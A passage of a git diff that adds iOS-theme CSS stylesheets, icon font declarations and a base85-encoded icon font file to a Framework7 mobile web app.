+ display: none; +} + +.ios li { + background-color: #1D1D27; + color: #FFF; +} + +.ios .theme-dark .card { + background-color: #1D1D27; +} + +.ios .block-strong, .ios .theme-dark .block-strong, .ios .theme-dark.block-strong { + background-color: #1D1D27; + color: #FFF; +} + +.ios .block:before, .ios .block:after { + display: none; +} + +.ios .list li:before, .ios .list li:after, .ios .list ul:before, .ios .list ul:after, .ios .links-list a:after { + display: none; +} + +.ios .list ul { + background: #1D1D27; +} + +.ios .toolbar, .ios .toolbar-inner, .ios .theme-dark .toolbar, .ios .theme-dark .toolbar-inner { + background-color: #1D1D27; +} + +/* Change Statusbar background when panel opened */ +html.with-panel-left-cover .ios .statusbar { + background: #222; +} + +.ios .tabbar-labels a.link, .ios .tabbar-labels a.tab-link { + padding-top: 10px; + padding-bottom: 0px; +} + +.ios .tabbar-labels .tab-link:not(.tab-link-active) .icon-ios-fill { + display: none; +} +.ios .tabbar-labels .tab-link.tab-link-active .icon:not(.icon-ios-fill) { + display: none; +} diff --git a/css/app.css b/css/app.css new file mode 100644 index 0000000..c722d38 --- /dev/null +++ b/css/app.css @@ -0,0 +1,152 @@ +/* Your app styles here */ +/* Default Statusbar background */ +input[type="search"]::-webkit-input-placeholder { + color: #fff !important; +} +input[type="search"]:-moz-placeholder { + color: #fff !important; +} +input[type="search"]::-moz-placeholder { + color: #fff !important; +} +input[type="search"]:-ms-input-placeholder { + color: #fff !important; +} +input[type="search"]::placeholder { + color: #fff !important; +} +html.ios.with-statusbar, .ios.with-statusbar body { height: 100vh } + +.ios .statusbar, .ios .statusbar { + background-image: linear-gradient(to right, #635fe8, #007cf2, #0092ee, #00a3e3, #3db1d5); + /* We can add transition for smooth color animation */ + /*transition: 400ms;*/ +} + +.ios .searchbar-icon { + width: 13px; + height: 13px; + position: absolute; + top: 50%; + margin-top: -6px; + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2013%2013'%20enable-background%3D'new%200%200%2013%2013'%3E%3Cg%3E%3Cpath%20fill%3D'%23FFFFFF'%20d%3D'M5%2C1c2.2%2C0%2C4%2C1.8%2C4%2C4S7.2%2C9%2C5%2C9S1%2C7.2%2C1%2C5S2.8%2C1%2C5%2C1%20M5%2C0C2.2%2C0%2C0%2C2.2%2C0%2C5s2.2%2C5%2C5%2C5s5-2.2%2C5-5S7.8%2C0%2C5%2C0%20L5%2C0z'%2F%3E%3C%2Fg%3E%3Cline%20stroke%3D'%23FFFFFF'%20stroke-miterlimit%3D'10'%20stroke-width%3D'1.5'%20x1%3D'12.6'%20y1%3D'12.6'%20x2%3D'8.2'%20y2%3D'8.2'%2F%3E%3C%2Fsvg%3E"); + background-size: 13px 13px; + z-index: 40; + left: 8px; +} + +.ios .page-content, body { + background-color: #FFFFFF; + background: #FFFFFF; + color: #000; +} + +.ios .chip { + background: rgba(255, 255, 255, 0.77); +} + +.ios .navbar, .ios .navbar-inner, .ios .subnavbar, .subnavbar.ios { + color: #FFF !important; + background-image: linear-gradient(to right, #635fe8, #007cf2, #0092ee, #00a3e3, #3db1d5); + /*background: transparent;*/ + background-color: transparent; +} + +.ios .searchbar { + background: transparent; +} + +.ios .searchbar input[type=search], .ios .searchbar input[type=text], .searchbar.ios input[type=search], .searchbar.ios input[type=text] { + color: #fff; + background-image: linear-gradient(to right, #635fe8, #007cf2, #0092ee, #00a3e3, #3db1d5); +} +.ios .searchbar input[type=search], .ios .searchbar input[type=text] { + padding: 0 28px; + -webkit-box-sizing: border-box; + box-sizing: border-box; + width: 100%; + height: 100%; + display: block; + border: none; + -webkit-appearance: none; + -moz-appearance: none; + appearance: none; + border-radius: 10px; + border-radius: 8px; + font-family: inherit; + color: #000; + font-size: 17px; + font-weight: 400; + z-index: 30; + background-color: transparent; + position: relative; +} + +.ios .navbar:after, .ios .searchbar:after, .searchbar.ios:after { + display: none; +} + +.ios .subnavbar:after { + background-color: transparent; + background-image: linear-gradient(to right, #635fe8, #007cf2, #0092ee, #00a3e3, #3db1d5); +} + +.ios .searchbar, .searchbar.ios { + background-image: linear-gradient(to right, #635fe8, #007cf2, #0092ee, #00a3e3, #3db1d5); +} + +.ios .searchbar input[type=search], .ios .searchbar input[type=text], .searchbar.ios input[type=search], .searchbar.ios input[type=text] { + background-color: transparent; + color: #fff; +} + +.ios .toolbar:before { + display: none; +} + +.ios li { + background-color: #FFFFFF; + color: #000; +} + +.ios .card { + background-color: #FFFFFF; +} + +.ios .block-strong, .ios .block-strong, .ios .theme-dark.block-strong { + background-color: #FFFFFF; + color: #000; +} + +.ios .block:before, .ios .block:after { + display: none; +} + +.ios .list li:before, .ios .list li:after, .ios .list ul:before, .ios .list ul:after, .ios .links-list a:after { + display: none; +} + +.ios .list ul { + background: #FFFFFF; +} + +.ios .toolbar, .ios .toolbar-inner, .ios .toolbar, .ios .toolbar-inner { + background-color: #FFF; +} + +/* Change Statusbar background when panel opened */ +html.with-panel-left-cover .ios .statusbar { + background: #222; +} + +.ios .tabbar-labels a.link, .ios .tabbar-labels a.tab-link { + padding-top: 10px; + padding-bottom: 0px; +} + +.ios .tabbar-labels .tab-link:not(.tab-link-active) .icon-ios-fill { + display: none; +} +.ios .tabbar-labels .tab-link.tab-link-active .icon:not(.icon-ios-fill) { + display: none; +} diff --git a/css/icons.css b/css/icons.css new file mode 100644 index 0000000..30d8969 --- /dev/null +++ b/css/icons.css @@ -0,0 +1,70 @@ +/* Material Icons Font (for MD theme) */ +@font-face { + font-family: 'Material Icons'; + font-style: normal; + font-weight: 400; + src: url(../fonts/MaterialIcons-Regular.eot); /* For IE6-8 */ + src: local('Material Icons'), + local('MaterialIcons-Regular'), + url(../fonts/MaterialIcons-Regular.woff2) format('woff2'), + url(../fonts/MaterialIcons-Regular.woff) format('woff'), + url(../fonts/MaterialIcons-Regular.ttf) format('truetype'); +} + +.material-icons { + font-family: 'Material Icons'; + font-weight: normal; + font-style: normal; + font-size: 24px; /* Preferred icon size */ + display: inline-block; + line-height: 1; + text-transform: none; + letter-spacing: normal; + word-wrap: normal; + white-space: nowrap; + direction: ltr; + + /* Support for all WebKit browsers. */ + -webkit-font-smoothing: antialiased; + /* Support for Safari and Chrome. */ + text-rendering: optimizeLegibility; + + /* Support for Firefox. */ + -moz-osx-font-smoothing: grayscale; + + /* Support for IE. */ + font-feature-settings: 'liga'; +} + +/* Framework7 Icons Font (for iOS theme) */ +@font-face { + font-family: 'Framework7 Icons'; + font-style: normal; + font-weight: 400; + src: url("../fonts/Framework7Icons-Regular.eot"); + src: url("../fonts/Framework7Icons-Regular.woff2") format("woff2"), + url("../fonts/Framework7Icons-Regular.woff") format("woff"), + url("../fonts/Framework7Icons-Regular.ttf") format("truetype"); +} + +.f7-icons { + font-family: 'Framework7 Icons'; + font-weight: normal; + font-style: normal; + font-size: 25px; + line-height: 1; + letter-spacing: normal; + text-transform: none; + display: inline-block; + white-space: nowrap; + word-wrap: normal; + direction: ltr; + -webkit-font-smoothing: antialiased; + text-rendering: optimizeLegibility; + -moz-osx-font-smoothing: grayscale; + -webkit-font-feature-settings: "liga"; + -moz-font-feature-settings: "liga=1"; + -moz-font-feature-settings: "liga"; + font-feature-settings: "liga"; + text-align: center; +} diff --git a/fonts/Framework7Icons-Regular.eot b/fonts/Framework7Icons-Regular.eot new file mode 100644 index 0000000000000000000000000000000000000000..8b87aef61324151a8f8a517832b8401cfe02e06f GIT binary patch literal 51562 zcmeFa37lM2nKyjTy;b+#y0`Yax3=!uyQ+FiZ`IY6bf-H@C!J2n0-c0FOhN#YK-dz3 zkPul!!V*9b5S2lPC2ojOQ4qpnUO)$ViQ_OhATugqR9tYG8Hu8B^ZuW6tE#IzL7bWQ z`_1q7eP4Io?VNMZdCvBnXFYf8cLd=R&k6z)M1lT9!71?@gxtdDZt011NguXD>CA(1 zmD9uDpA4b$y3c{B+;<;zhi7QsV8vX4N#4o_}z@n9_=RZF5D-H3t2txGhD^_;*^+vA#BQm`X z@f*)P@APd~J^6t!>i!9Y-GAoA7o~*&!@DZI@7Qwsj%`Pe3TVMEpMqy~%elKYKm3ih zK|#>=3Bv84KWo$J@7E9A@D|>6Q+a10!12%0!+56mTh2P~qMffaAN^N6{~X!vKlg$& zPhau-wwcIk9DTF)ywi7XV>bwYLi|}spFaQe^ERFK_vd^}5dL;4;&0z}!H$b20?(xd z;ht9o!Sey$7HEp^52xkRe6!yabi0>d{C)mQcweCF(YKC1DIQ`!!J}Fo1jru0pB#Ns z=n@Yh{-}6}=R~hm|5yi4(OfRPS2aX?qU6@_iR19HtA?!B;%Ob^}er){Fe?9ur(eEGq z`=ehy`jsE;_?P^@xL>*HmG}SP_dj_42dQeg$l~4pn2cIfBU!BqjfoLSRjB_t1i>jQ zs!P+|9?c_OjdAr`hM(gY0qk zZT3C(3i}EB4f~@gif%C~j)@P5k4UOikXA|iqyy4-r9U~E9oIO1;v95d?)gES=x=dL*M8Qx}Wka@a*&a+#B|8 z_1@td@a^?I?E5F*&wYRLYyM_`mw%Q2EdQPUgMnz^BY_tKR`887ns|J0mr-rW3L!kyTVxH5Tu@`Y3~wJvpU>gBYWUY@=#eP>3@3}nvF+?BmJ z`^#KB*O!~0`$+DEmcf>*Tb^q9Wxh4PDt~$Y+xfQ(YYY1eZx=_3*A$;>b+it)UetPT z>o41aZ5OtEw(WQA(e|C~540a_|8Dy)+pUhSj=3FYbzIZw=-fHu6I~B?k9F_uY3(_y z=Z>DQ^!&cp=v~meu6J+m{=SjEt$jE4eY@}9OMRs)OJDC7`V0LR^?$nm)v{4;DUX-W z9oSmAy7FM<<(X&9ykpkBL1A!U@Vdco4{aR!{A_V{=j`7M_YI#he9iC!!%q#rHqttB z#>kB$`$m2?$2(_i&RKK5H`hORVD7}+>*hW;@ACOQ^KYI1%IMC~A1%-poV(z`1 zFC1BT_rh1kHjn*sQTw7Z7G1OG-tlJ_|7l74l2sVbBBxzG$yQ@BDMHs*nb1A^LB%2b zy6>y9^Iv8^D2ccgzA90$lY$>qWcK##2Qejo-B${f0>x4w7r5?{&70Y3>x%)x?=)@M zL4M#a&`bCKuMPv|IeJi}IxB(?H02Ty(EWw1Y=rw-`Um>LhMWy$WfPAB{e@y**fiu^ zwouH`x!gZc>Wh@hCDSPN4V3!}Ii9lAS23&6?2Wz8?A`l}_31layyK1+&kjW+tz*3a4FL_ z(9H^E%#toKm-UJ%*5_qDRv9RkyV!_W>Pw2IV#+C|WDDJ_WO$`#nc>oyroG}+HFl?_ zI{VxXJ++{(vN)zmlIT=fb5~Ge4ka?Dr(>uIVZj;CL}EuA4s*q!Xd2=@sgAtiJ`C?QnJ8Pl05l>_BmCT9lBfc-oy;xQpcfExM> z9gI*)1r1`zxG(e%w6Sq(KU=41);^tWxAw3-x^C^(Zr?7uT(W)gnWk^M&oF{Vj+i=H zLbHzOEHyDfcFRb_^byii{dj4BiEY-SBQuFu@xilS8Fg zL6=2}%G9iGp7q&tAKINwFKEp3r-SExZudho(`N#%qi=zae-j*d1Qe$bid06Va3m}% zvQj8^vC0Tbij{)mW#LGYrNqhzevD$g?01SH1`Dly#(-2Fx!|1nWof|ZYb^v_=PhrK zHRsdol1Zo2({@HW-yCa?j|^nk2W46Gm>#FEbH{=cmyE4iu%pxGL_l!WPoXe;gH?m8Fm9(Cb-a>N{Y>4-ApM4gWH3_Bf-$Wp7yYP7yQX-)W$-P zZDu?9nk!Uj6-9sVOFhjtBiy=kAB_}F-Zr#n)3I$CGD~L8%$0NHQknhYx~HzY?kVeU z`7&|wMHfXcy67|tx$X*k3AmC%q8B0G$v$?Wj|68gjU^gYQW?1+Pb^1eCTyjZ7uIgENoOo{n{VnK;?+kNO0dw1TybLagxUVUKCo&)EHhr;ZXA#>=5+culO^QAL= zr|;I>YJ6^&s;Ex(0)?EhTlc83xm_+*k=NXR$tCyiWbO3s)m8;>58?MUW8WhWmJ*53 zjtg9hQ)lf%p^!T}Jpgm_=-a$bkD^XqAt;1}q5z4PquM;h5^o-*TA5I{SQ$V?FbX4K z48y#S6$?}~J2b`E`wm=v^?|DoYsQxMnW)Dafa2G7>u$xJO_~0XtZ1TSeP*{NOQNR8 zAzwI^RW;85K)?FH$RqoV?^NMuqb>mMaJUtxHxO&eD6Vraz@$|&O|gL2skkMl0*Ep9 z*vEjRiH_5OTe^i3VU`d^7Q>OjD5FCfX8m*6K!O=QmSC7afSH3_sth}580K-9>>TT3 zIIhHv`2%g8u1$#kP|4x&`xV_Qx;}@vyV+{CIvlpnLFzABtNGC?>6+*j^7Dm?p_X>#(*6twJZ(mrNiNN`QaMq9wfya~Q2Sj1!>sF*(6% zkg<L-NfMr*2#nT?H?GzoEbp=CPt%-$-@lZly9vK z7I^E10Qdet*uOSZ2wkgsboDw4d3TtL3Q^r?gMPFHwK~XYBV4M&{P?Ks4#=CG&dt>1 zfEW#GLwwSx9B|8B;d?jM&W!(w|zJz~{U|xeE0gfDH|7j}WTBBzUXITH}3E;IEI2R<4kg^sCmP%ezcj7^kWKW>2&Fh!#xl@I^ z3)r?1WU9hnhO%!G$i%vL1#AM!a11FG{)@we9#rm0G(Due&QS!=|H9mXwnGf8mSb0 ztTZ)lueQmr?20Rfc7D)xQ?oYg+7&WH_xb8g!IbFMro|q1`+n9}xkvZC-aYUI-|I5n zDfhV5hF~T17c1$$`FPaX8GpdP>bEnv8CbS5XJ^O^K}94jy2*xOCR6Zc$Z5QD*p)MfO0# z=hgMW0qc5)EU~yYYnB#gk}9%GTt>{uB_z;dm-u9d&k<3PR8|<9P@1k~uq0lhlNGMRfOEI(r(o#!-Nw5*t z5jp6{COcA2QPL$fEU92z6tgh1(&Lp4+1pc@SuhoZsZv-)3MJK%%sPTiXo_Y7^pzqy zT%yEmaQ(qdT60>f*aJ>2oeBEwnlVXqIVhpgECo62PqGr|MXvzPq5^6Mh?Q7O05=D{ zMr$*n-)?s2b&%K|#&OjZ9`&&5xk8@*0biIs9f(E))^OOj_gwY>t^L-jb7ej@Ci8_D z{V(Ml!9+u`)soC(3%c&Q>+Q1Ny~JBS&BPJt_cOl!cY=y(&epZbowD4EQpvnsSv7Dw?!7 z)z>PBN~&uWU#gNOyOS?Ho56wyJ?xWwsoLTRKF!$EEcDDXY$BSCMzbeifpEH#S0`Og z2@97~iEWK3P7$a)l`^eElm#nUhv;oq!uc{uQ6B_cj2W9_$Sj@4eb z-zri@AP&JTa^kSDjoBKi+gxhMhp2)drM5ejH$*TPI1^9*N^Qwom7Wl9N9v~_{>CXi z)X=yeuce}XLIG#fo*{6#;0E%77qTn?v}Yv}dy6Y2HY z;Bk?|HirZ6D$p@;*a*&CZFpFu<0^Z|Rv|Q7$5M4yP?*Ol>Y)r3ZOYFGSVRtsv z<{zjs9&2|)ZCG=>Wl9BjazH;D^*_YHfBz)(9DYH?da;w^&m3sEj`zknW|b~?LMVpL z*w0tgi9powsBAx9QYTaod)YdP^;^#$Vk>z3YjkEw>orQik~rTqF)?fyBb=6pY^4f^ z3siG})^=L(_~0m4AlWOLnR4F7A|&(_ei1N^icS0#3nL`f1D(TVDa2s1U+?|)-oa8bCOMn^ zvMR|A&{ICm(9XO{@|c=g#&8HY6y~hVBU*N=`T0+rciz(ORWWZ_Ra`CybkYt`bRH%K zw4m(viB7p$^~9y-wF9dm{JR)%f;Ky9!x;lboh`l#EKD%9;}zM)-X&wuy~0VT|L38b zSPcV0ArD1vmiQr#t&}1b4&tH}8S<-$3F!b)c_QigiWM}<00rY0jyOjkAFj0(%~4{v zIZvg?L@a}D=1n&+rRDAwnLm8O#)Ywv6bqlQbw*KjF(~96vdi?zK9^*;vN1j?S)7P{MI5#^(($s8HNB7q+`7o+;zbP%Y7GtMr1iH zKfiC>;d7oet7T5mVM=ZZbf+lEE{8`E6~7|7m)CkGPq$$1D&7J_vu$+rcl9jX4xJK=Z2 z_$_+Jv@G)-h(o8Ac|4s-1h3&`yk4BDGl@=21XivL@beVS$(glK#8JHfOTAu@Mb@Qj z$QGGH!8O^H`|CLdChXokWEa5C)x3TTtJiyMs@rLEDOHRDc8=s(5VS;q5s1dg1Ao-8 zdH+C#TMwidxM~ojVN;yw7#iw`ifrR(FEo5+FrI8%npsk=+Y64$O%9eeFr7->J`T=^8yODhpks?_D_7GXV}rx>K50H zuIm!TsFCYosTm9UZpj447Q2^>EO9S6!By!@cY&2wQfZgNDZ4af>B_;d3YLFKdymUC zyN9(7I7HvP^{XYPuRZT{S6WK*&t$4MN-1_?xK-5;_0-cZoshAd9h`ZyIc*UwyfE@P$f z@l35BL%k#CEb}UhHjiWM*>)@c_xrK}lOU+`2u1$4`ZCz>S>lemm$?6Ho%xvc^xK}r zZuerywyJo6>YA`=Gg^t?eI{Wd7khCsOF6Le>(c3+`DEF>WQnIAd_n*=c)Zu9 zcV?;VS-jX&{_<74y$N{$28nCvfIBLXPDp`L1}&B$O&v*TgX~|dmY|FM#^thH6KtJz zCEFKdE3JL(eCv9)KN!phgH)e-UZn36dZ9uiJs;&D3Xt>i_t+(quQcFBC$!W7jAjT> zXMqyIB(3T=S^m7w?j9Tscx_4HXFhk{*9XrCcz@0@I~559)X^8&57{?R5n0fxdeS)Q zyU^Pq>T%3uNI*=MQ8La-AV+ALX7x8_E_w+Dch(}qV0*0Hu+Oj#v+aiQ*b{-r&Bud} zKRf7QK}xWjU1MDerQ$W_glRqh`^N)ML~x*N8n1TQ60A=QTA4|2Sm`ZQ$~hq4iUQml zF(XtW74Zjl)5`0Zxpv&go=7%#A#b+Uy7WsQ9lxG!Ot{C`<4M-E7@@U#9prsO@{ewC zVZ?)7AY6e})RrC*Z&~BLIKPDl=!5zPobM4Yy+{0ey$>P54PfAL@s7HIwSxEaXRJiS`C{W9fy;CO*ncQsFs)@_$gg&jCvU=^p(7_YTs zm5Zx48F3#qmX(^YY)*Tg9zO{ki%b?jd1w8iAqD5q>#f8a#kjH7X!av-E$Z{Bv;t=1 zbozv3g;QySFcTU{gWpFn2B**in2B|I0Gw8hq`Q&{_VRx*-r(i3-Do2R^eqXDuu_E3 zfC)TMmdf2?hZxDhjtb^fxpMgPpS2zg>+Jn*COzPAJfc6L>z})e-TztZ1@>brtm|yp zDSb%_e_q$!cU56wmm+Tkvr}NC^EZbWOhnkF)-@06PdvyZ>j_bKHvAx;%Lg0asI79n ze;Fda!qF;+gYM}#K9qajd~+0kZ@&5FyTJQqI6N8-&yPf&#Z3e{9-{4_2ejcQD+aPG zX(H@WtBI5Iu*Aof%1ZU9)N5ybr(WdzT1`;`@}3_KQz7B-j~}GIC;9yb=%PD_PA0Tb zi9GU1_}=@%8@>^~=bkVh$Ir1nTpww}AfPi!5RPZcfgxt*0-0hX$+CU-&9J=Mvzx7d z)Lgm7ck=ie-x@Y#Xx7b|#&#RlzMEmI^~l5;@0!IpY+PpNF9MhOfz2RsjZ{EhKnn%s zQyz#dgz_K**31#_$!v|!dXtdaBj!$~A38MRU9-lEBH5nl@@nE)LXcRullRl~5nVx+ z71I`#U|4Vi2XN&;o;Kw*g%qD*3}<_K7IbS`uD_)vehUDnYBdt)+YcZ9q}H>brzacF zwZ!5rCn28FG|VkpX|kxDUA5jyv9{J=o^y6NSA*vzV-9NNTW#A#yu=IT04(_Kcjx#J z^E6+E9=D4!c(K%%=t0;+Jk8dk<`K|pGlU^(&5BvfC}l|FOXxGKGIHH9gs$d5!#H$k3;y2cQrB+TGSQYwwznrCpoesx?g(DuWo&p!LL-zX z1?>bWpuE%3I?(F)o8`-`VJi9;S{%*K^W}5)In>qGlNTZH9)=EX4O|wFsd4$g(E{RM z**5=`c4|AO+*(s+9NWgz zn)|~#2`tS+>}JirIkb5*A7hI^AMC}*_6c#60J5P1?AmCxSpiA})mt)sA~C2LqJ4;( zYvQzA(DmnEgn#V*vGKb6+gm-?vu}s5_uP6aOIe3O?Dc}!`+L{IpF3WCRsNaMDc$C| z{(8@CHl7+mxgQeJpx1n0pM1bW#A=mGWMl|55dewm0}W^9itOYSvV7u)gW=$fH{$ez z9|SE!6kz>%!wqWK>Qa;yDb=$5ymPIka%6n**=KB7J|_^6&4r7%o^|%J5kK2Y6Mn(dO_ zjo7Yu+5-`m)CBu7Nmj*NWYsB6Ij`)H;xZ&kQZl;Y79}>fr?sV23I>(v>=^~%lYm0` z^b|=DJ+zuMYgoiVTUP6CVnxmquh)XQfTOL}Oe#zhtJ}hL*kf zWe29hbAJOUH}g6H4uYkVy~9>vWrzY6tjCoBC;;SM(=a0g7-jurGess-h5SIz@gsf; zG2HVoybxoC?~o5agZ;!&4|(3_d){X}AxW2rzk`_^W8&`ux_XHk$Dv4{N&at=p2~xjDODmR1wzJS z@51aws}nTgFJbPjKMV5e%{Q$tCEdxquD2xg#BuK0@kWNdX~Cg264?_DUlWN~VTdyD zyP$gAR=rkfuqwQ^Eolt4y_gZiZG{@>t~^++Tv5qIVDEhF9k@`T1{|Pj(e*qaJI)Or^4VO)sr2rl2TWpJ0to>y3M7(ew6dL`L-7EbA zXA&vEd1TVL(0#rhWo8|(EvN=$m`mJ!4dU9hR+H)1dQI5NhP95!Pdcbp*0#wy zSbwQLhaP2H-j%_DmcE z^+7G3?P-JHLNhrcT;6bh#Sv>_*bZjB1c<^h>PwTicTU~{YfgoUI0&+?vd0JMSL={* z-3w^G+EP`6aC&$R(&^zM-Fb7UJiVRUDIm-CJPZASoG)Mg( zN^}%w!&a0M4 z5k)q0Fl^!0r#WsjbCf@XJmMu2v2wgKigq+0c?IIq1<;cQi1} zBY8q25QzkMT>u02Zjjkq7;8ydr}7wDMJ}}`!cV47uKf=|wqGQ9KK`NT2Pb85ZM#)^tmv&k0o_l)dqok?APJb<pe`^5bikghkP* zdz*SUI-y+DojE^R)FGMU+QMxYDqM zc)*xt_+w3swI)M;*#lEi-Q!EPGS-~X5ykx8qSxn;^LZy@O{OVJVU5AB!yj-kmm$e9 z6R$ecdD&qgq3MvbS)MSZNQTOs5x+m|6!nlpZsG|uZO%_O(6Co1z7Unw6!)R5Kq4Xn z!kAYHVq_`)FhQ7rRmm(vYY7vCKEJAm!>NGZ?{hLOEXgL%wWa8EdQm(OK+!I~S(ZY& z=rsNQh=ZwsGffH6Zduu3B4x-a=hGa}m<&ZYiFY_|vip{-YJ|vttsj*_)w1N-?mT1J zSR|&wal&v#n&KJ8^6h~@Z@}M?XJR&PL|xuc$fL*n@vO-5JvySCoXr?=MU7YvVI6*i z1=^8QCf*cr!7C%A#UebXZa1Rz9^{mZ`D3~#6uK4+%FxME=v2b|f>32eYWBcV5k8M3 z#?R47AQ_~N48QCt>sGWjgU_7ClNF99Lk!gvj^K%MWY!9M4Xp1qvEEdHc}(nV&3Ct_ zbFJy7&L(ko)aQ%(8%5~sglv0jsv{O^_5@p^p+qPWHDB^a{r;+)oR2T^ODZ(*XQdIc zO*Y`>!AeyKpiHiFSN6nnSUURBQWN zc9}pN+`su@;@Tj@A@52vcjU;Si9-jE965qjhx12*m;Hf#ifhqK(3T{Ho5xoUfB|Bo zPEQg|4jE03RD94QM){`FB`Td$c5NnCYTddD^u#2s2 z0T;X56|laf+u3ZHk;eNs+$*GjSKYUsbKs*e9&Beq;FkhF_%@W4oY{oM}DF z7WZ5G<*%(%Jn573BaMa#_#1Tx=#Xec6`#*!7W6Yd@E`bGvC0l`3_^I`SdR z1xQOd%nn#%2M(|UR~2+#n)Q8lm$j<{;p`Oa;qQI#_QFXV{%`bKzhaB6?E#268*Qp- zt+lE0+~j&&vkD1Txdo+Ub}+OWnlLwYP%Sc>O|#k6)fL^aAsU@Bnl@9689CtowodY_ zx}8Q%lThdJTdG(+Qsrk!pHSoP|D9*z?ixe(_IP=Wm)LpWzyY`WfDR=OD2{sG0qpsZ z0S+ob?z|8-5vzsu*i!BSY&v&^aIJ8&@Npz>6p3*(S(9|ssEpb(%#TTr4?K!(LTE72 zSOVt6OW9hQt{{pXY=dtDjyT7I6|IwJ)UIjE>FMwLU_2O%&xMvN*{&Pw^!Xd+>)OE5fkWmaCV&ij-XOP)Qqp{bUcu>els@2U zPo>(ErQu;V+&zDOccD@#j4#F?#sbI7ygnY#OSarj01?CK2r`5W6sIrs4kDx_~gx zKzme#va}MpjMru7&gpge0L%YGU#R1Eyo&hy5D~^vEBoKspHUamZJLCA(6by@5^GQ@ z6Gc=jZ-caJGba<_Yoe$P%^wDW zj5RC)N$;f0obRDhm65jbKiEL+vk%tX*0!y+b$eUeuO=N|X&gQ$9AOUtQrd@w}5_vRPD!ptD^|Fl~VCX;gC4A5zfM{CPtML#}CX5qPvE4p#{%!kal$JZ`Mp z_s%*p%3QY&W_YD_>nQe7QeaQ?WFLh>2q){zMT<-_-iO|&4o__i9s^C`FP8tQ;}`qo zV+!MQu!`G!LLc_IfX{V}dZB4kU9=bat2D7qY;d1z*z#Epx(*C6xvae znIRC8KUpbmA(P`4(6_P?!I|() z#pFCRs9v)E0i#puo2u;kx)yFJYn#qu?5s^%xh1S=;jV>RTcOaVE$9w5wkf+JEEQTp za#Rkr6s53K>Iwyeq3%AKr<1%pc72;{Kho~X3S9rd+L6i}@RT_`@B%FKlP@3v6sZ!* z4|{{%3+$p7b`c;`0kd1}7mmJeDz~cy5Q2Q`!Wct2J$)lXje<&0nezl&Ou#&C@Iq!AM3(HOArbPG$LOcP^PVqN(<7cYB|l zi669^L1t#VKZIf<%_z2r;*DT1f{d#Bq15MMgzKKG>vnA>LhHs?A{1(G_k#v0bF2z9 zRhrre3%Zk;Ofs<)sHUZ5d49%>e0gbO6R@+lC;L+eyShS!@U@*|9bl}d_XSqJTJ7`I zQX*v(Nid*5)SMra6@P`72`ia0mA9Nqj@kA8$5elEMX1m*)_HBX5bDBMo7V5g(fR@h z*K1iU!5pdtUJ!*&t>^ufXr)r=UfsNmEp1-aRjD*q@@q3^hBBc&mtMLjl%e`Hj`s#l zFYp5zGFQndxnhobbZWg0Rw`YqnwPR=&8xdnR+Sk{)N>BaoQb??ZMq4&z5WN6A={q( z(0-wfm05wi@kjH>taKx)#fj1@YhH8yHV}634IY)#@*I%wnz0muIeMxk=hUCU>qEM zQP>Q6qE-&k>O!z8X|VakLVt}jc(>(|C`w)R~H2nI_aK-4;@Z|XZ*gBoE1G~}s6 zP)xlxcDjAf9%vXD7#}>xNnWk7j>jJheDn|WQ)yIJdp5lL^VG3$;k)!_V?Q^Jg**R> zv2*;fP?M&M)%jW*qqS>QetvA1SB2%)v4h0MH~+!zg8t0*SISG}B3LhW*Z!ODx%h?0 ztj#|*KhCh|ki4;$PADT4Qt;?%-`V3ogaVmXCovw ze&W=xeQn_nf4!IboZ~v!={$)$(0O=E%romp6aFXJZ?OGK@EiWsuTeUh7w=#Xh{?SO z`CfF`#}WHhbcnQH2h0u{9*vRl2@QKW9 zZ%%#JN4q^t$8NU19b_Wyexn%JZjv@DGrbZ#KB06c**mr(B+V$_dr%~mH+FpOCvSEN zn_7c8v8e2JdRm<>hl4p}hblA8AvsjhWy(vWNGZ{A`W)wMw-*Xh5A53zp~9KdB|9|T z+gNk_ODW9?qi$uGVbD&we zQob02RaRB@P^Yz42{#De{)_#L`hyD$|CJrhnGfpe(DYWJ<|+4uiI<|mV;qyCvpRD6 z2l&n~1sXf`p+jwpS77#1?*`&lct2o2<|$U&i)zD4LmM`XEBNgie_>oXoeB-C*RjVH z^#gS8c0bUNQX~~xDQuMmr()P!ViY=|J=rBs&#Q7|YVXaZ^@9rrh_W`$pk(=qHk&Cpg@aAS}CkoWbTmsB6h0sLiOoUxN zY?7n3U|%3?QWBSFh{?`kZH!H&B_^=v#k0qoD|RoDaqP6&;>=AM7X?^Z)4-UVE+I^u zhUtWbvp$&&LN(KI&On|te=st@n426ogmb_vkz%e4bs(R>S(>~6h>sf)^V!F;waNLz zFrS=Gcz?@4G@_{R`3d#9Z$@R2rzv9ib(ytzrjHEF(6;If{VoQD$5|a67;4yDSBj~U zLNnFIZ8`=A;Wl?nx4xnJ(3d{!6=49WEIg zbJ2P$LU;QU>~DN8c-{4|PBN%N?Eg{(wj?E*<`A*~Qw+dBq(Jt)-Ef(O399`BbISo( zfpE)TT$2<-7v9H6oy&Gf7)wZON>06H+42)3QS5=`#2iM0V5=Z(b*!rMJU%7R?%m{- z+^Vki>b@35R9if0tryJ&h2mycT$f|<`Cc~+so^xQXfB7pR9@OLYoQFhe2T*zi>_XF zVp5YZN8nHE#2llpa~aN7m+o*oyj#2-e%<4q@Asewk}2Kcov%0Py4LL40uCI>f~`|yuPNxSGNxXcOoVIQRf&K&sNjGn58ki= zryXKxvugAZlJdHQ6~{C#|68J%7DKeWNwU$^-5b)J4n=k#KoZ*(2lHg~e)Jj);V@G@ z51FCZ8Y?&g4tF$I2B!4raV_MQR5xZo>)66TAPm;a*WvNr+py34 zR6ZMmg}M~MNJ=Tb;{|H3n-f&h;jPyFK#Wi8^FQ?R4?@?U*@+Gg9d*mQ znr4l%lV7}J@$jWgI4XFuy0$g=qVvYl4|Mmv|28mflk}a7Y>;6-Q7u<8d0~9JXI_GV zeAz*m3?VP!=&yJNcHJ3U$*zFMFFerU6_UV$lPBBCQnpfrjbg+JKLDp(V1qz64(nA| zXUcJi`qMt2^{UT&l881Y-p81AfEJoD_#51ZZD{XPIsHip(#{``6}dphm^{Z8+M|s! zalwtC{ubwJ57z0pJ6 zkt-mnvGfx)P#6G>NKv@(IMBF_an6R4Ot&dZSRl?(b@$hU29v>VyY{KJy(Ep`R9d5_I= z8DBYlA@ZAj%9&$`p~+$MpZnQmXmRp@gc}YSteGS)fB>3X(u5$N3qjq+hPQ9OZ|>T) zb7wAJKJ&i&?puEptTVf8&6>Z{*Iv0+*Os5Z9ERi8^EEl{i}2mN2YMZt+=t4xAcDO6 